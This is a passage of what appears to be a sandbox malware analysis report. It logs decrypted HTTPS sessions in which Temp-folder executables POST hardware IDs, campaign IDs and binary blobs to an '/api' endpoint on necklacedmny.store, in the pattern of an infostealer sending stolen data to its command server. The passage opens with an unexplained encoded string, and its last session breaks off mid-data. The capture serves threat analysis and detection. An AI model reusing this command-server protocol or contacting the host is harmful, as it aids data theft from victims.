fDf5gjFBdtVOZRN4UmchQS4LYgw2tMV2BeKkK61UaAe1qGbX/MW01gAvHegaoycE7gI6D7UlVrAH/2Q4uQutg6cupZMkUWPSUmzJvsPw81N/hnoKNTUGYpdtdPw9inQYOji0hXnGM1ROZRz7kGVmBWvS+Ywm9NCoQ/7nOD2eK5hgKHbX55V6FUJpGH7Xta5AK8BiX2ElFrWD7WQvqYgrlrfoZtPlE6IBVD6NPIBgt8V/lP6PtSBWsAP9NP052jt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50016	188.114.97.3	443	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:41 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 22:38:41 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:41 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 22:38:42 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jk4e6i3m61geogm7ub3liske16; expires=Mon, 24-Feb-2025 16:25:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZXGRDR5HbpAfQG5XwOLn9NPYys7K4ettztNPVxnlW4ro3C9ovGFzT9ixiOO0Q17CjrmE1hUoKphhj9eqgKvoUirFcRMs8nb7tYYc%2FkU%2Fu0ajNAi2IV6GbzBSanvQqLTEra%2BgA54%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723073fedea02-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1233&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2212375&cwnd=234&unsent_bytes=0&cid=9c8581b85456ac69&ts=929&x=0"
2024-10-31 22:38:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50027	188.114.97.3	443	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 22:38:43 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:43 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ivpaj9b8qam5h322rcmnbpujba; expires=Mon, 24-Feb-2025 16:25:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ityjuQXlj96Aurw25nW1JnPqqZsJvJnwZW%2FSRQUwaIXX%2BmJOIRTKdVpzliSRjKeGqvkqFudPXct3%2FAkYW5zEoswPf4Ry8fmMcgFthslc6tM5IRxAxdcZaT3H6YwE6y3uI%2FHYMek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723105e163464-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1332&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=2127847&cwnd=251&unsent_bytes=0&cid=78fa8122ea017bac&ts=767&x=0"
2024-10-31 22:38:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50034	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:43 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 22:38:43 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:43 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 22:38:44 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tmnk21dlorigpifo0n3ulje7cl; expires=Mon, 24-Feb-2025 16:25:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u6JOibxQX%2Bi5FVaoBJsS26N7Pu2ldzYKLFYiUvEc6n2e1xXzf8CVoZnN1EO43ViI8ynHkHfc5qeyVskE2b1MO%2FD11wNVkgZLRiCTYzIvxKxkW2IFyuehNRklBk8Fc6MVFADNcyM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723155944474f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2062&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19132&delivery_rate=1350116&cwnd=251&unsent_bytes=0&cid=6f18c94fa53a9e56&ts=859&x=0"
2024-10-31 22:38:44 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50051	188.114.97.3	443	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:46 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 22:38:46 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:46 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 22:38:47 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fvfp2d384c8m95i22im4k10irj; expires=Mon, 24-Feb-2025 16:25:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NCAh5MrCO6%2Fmq6KH7NYf4gNKMFI5mguyHW6TjT3X%2F1nAb2Bu6b5jOBV1w38NY7LC%2Fz%2FVwUVj0zUETN11Dun9gfsW4LQX%2FKjXkQ6luKfczd32SbnORxnlemSOsDBFkwmUBdNjc4I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db72326f83e2cdb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1380&sent=19&recv=28&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2055358&cwnd=251&unsent_bytes=0&cid=67fd6b36bd45a25d&ts=751&x=0"
2024-10-31 22:38:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50052	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:47 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 22:38:47 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:47 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2gg79fecq0sfrki5np5utnatq3; expires=Mon, 24-Feb-2025 16:25:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WBb25j9uUOfKSk2jGVONtiYmZaD4q8ST6PEUpqimxV%2FG0NxnTeSgtYMmjBbv3juARuJg%2BjXslJzwh3otWm8fIysyvQsYuHnYvG4NE97y8Yik%2B8s2OGtoktvWPo0J2uaTihL3qZA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723284d184612-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=971&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=2937119&cwnd=238&unsent_bytes=0&cid=bbc376129afa1b02&ts=503&x=0"
2024-10-31 22:38:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50058	188.114.97.3	443	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:47 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1349 Host: necklacedmny.store
2024-10-31 22:38:47 UTC	1349	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:48 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8qiqbd28dhsubt9l3vv82vmb9q; expires=Mon, 24-Feb-2025 16:25:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uj8EX%2FV5od6CuDsOoWaRbp6%2FtDSa7jlmCXFsjNpKzcWYiVS1uOVGnjFSuSUJ8yxTeiU2ZfPwuQDW8IItePn8UmJcaSfu5KjhEsH0pjoxMOwoxXZVyFArIvWPa%2BHDO2Re6yEDY0w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7232bedda3ab9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1321&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2268&delivery_rate=2083453&cwnd=251&unsent_bytes=0&cid=86c849595f7b1a90&ts=511&x=0"
2024-10-31 22:38:48 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50072	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:50 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 22:38:50 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:50 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 